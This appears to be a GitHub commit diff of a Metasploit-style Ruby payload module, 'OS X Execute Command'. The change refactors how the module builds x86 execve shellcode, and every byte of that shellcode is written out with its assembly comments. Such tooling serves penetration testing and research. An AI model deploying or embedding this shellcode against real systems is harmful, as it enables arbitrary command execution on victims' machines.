@@ -26,15 +26,17 @@ def initialize(info = {})
26
26
super ( merge_info ( info ,
27
27
'Name' => 'OS X Execute Command' ,
28
28
'Description' => 'Execute an arbitrary command' ,
29
- 'Author' => [ 'snagg <snagg[at]openssl.it>' ,
30
- 'argp <argp[at]census-labs.com>' ,
31
- 'joev <jvennix[at]rapid7.com>' ] ,
29
+ 'Author' =>
30
+ [
31
+ 'snagg <snagg[at]openssl.it>' ,
32
+ 'argp <argp[at]census-labs.com>' ,
33
+ 'joev <jvennix[at]rapid7.com>'
34
+ ] ,
32
35
'License' => BSD_LICENSE ,
33
36
'Platform' => 'osx' ,
34
37
'Arch' => ARCH_X86
35
38
) )
36
39
37
- # Register exec options
38
40
register_options (
39
41
[
40
42
OptString . new ( 'CMD' , [ true , "The command string to execute" ] ) ,
@@ -53,39 +55,43 @@ def generate_stage
53
55
cmd_parts = ( [ cmd_parts . first ] + ( cmd_parts [ 1 ..-1 ] || [ ] ) . reverse ) . compact
54
56
arg_str = cmd_parts . map { |a | "#{ a } \x00 " } . join
55
57
58
+ payload = ''
59
+
56
60
# Stuff an array of arg strings into memory
57
- payload = "\x31 \xc0 " + # xor eax, eax (eax => 0)
58
- Rex ::Arch ::X86 . call ( arg_str . length ) + # jmp over CMD_STR, stores &CMD_STR on stack
59
- arg_str +
60
- "\x5B " # pop ebx (ebx => &CMD_STR)
61
+ payload << "\x31 \xc0 " # xor eax, eax (eax => 0)
62
+ payload << Rex ::Arch ::X86 . call ( arg_str . length ) # jmp over CMD_STR, stores &CMD_STR on stack
63
+ payload << arg_str
64
+ payload << "\x5B " # pop ebx (ebx => &CMD_STR)
61
65
62
66
# now EBX contains &cmd_parts[0], the exe path
63
67
if cmd_parts . length > 1
64
68
# Build an array of pointers to arguments
65
- payload += "\x89 \xD9 " + # mov ecx, ebx
66
- "\x50 " + # push eax; null byte (end of array)
67
- "\x89 \xe2 " # mov edx, esp (EDX points to the end-of-array null byte)
69
+ payload << "\x89 \xD9 " # mov ecx, ebx
70
+ payload << "\x50 " # push eax; null byte (end of array)
71
+ payload << "\x89 \xe2 " # mov edx, esp (EDX points to the end-of-array null byte)
72
+
68
73
cmd_parts [ 1 ..-1 ] . each_with_index do |arg , idx |
74
+ l = [ cmd_parts [ idx ] . length +1 ] . pack ( 'V' )
69
75
# can probably save space here by doing the loop in ASM
70
76
# for each arg, push its current memory location on to the stack
71
- payload += "\x81 \xC1 " + # add ecx, ...
72
- [ cmd_parts [ idx ] . length +1 ] . pack ( 'V' ) +
73
- # (cmd_parts[idx] is the prev arg)
74
- "\x51 " # push ecx (&cmd_parts[idx])
77
+ payload << "\x81 \xC1 " # add ecx, ...
78
+ payload << l # (cmd_parts[idx] is the prev arg)
79
+ payload << "\x51 " # push ecx (&cmd_parts[idx])
75
80
end
76
- payload += "\x53 " + # push ebx (&cmd_parts[0])
77
- "\x89 \xe1 " + # mov ecx, esp (ptr to ptr to first str)
78
- "\x52 " + # push edx
79
- "\x51 " # push ecx
81
+
82
+ payload << "\x53 " # push ebx (&cmd_parts[0])
83
+ payload << "\x89 \xe1 " # mov ecx, esp (ptr to ptr to first str)
84
+ payload << "\x52 " # push edx
85
+ payload << "\x51 " # push ecx
80
86
else
81
87
# pass NULL args array to execve() call
82
- payload += "\x50 \x50 " # push eax, push eax
88
+ payload << "\x50 \x50 " # push eax, push eax
83
89
end
84
90
85
- payload += "\x53 " + # push ebx
86
- "\xb0 \x3b " + # mov al, 0x3b (execve)
87
- "\x50 " + # push eax
88
- "\xcd \x80 " # int 0x80 (triggers execve syscall)
91
+ payload << "\x53 " # push ebx
92
+ payload << "\xb0 \x3b " # mov al, 0x3b (execve)
93
+ payload << "\x50 " # push eax
94
+ payload << "\xcd \x80 " # int 0x80 (triggers execve syscall)
89
95
90
96
payload
91
97
end
0 commit comments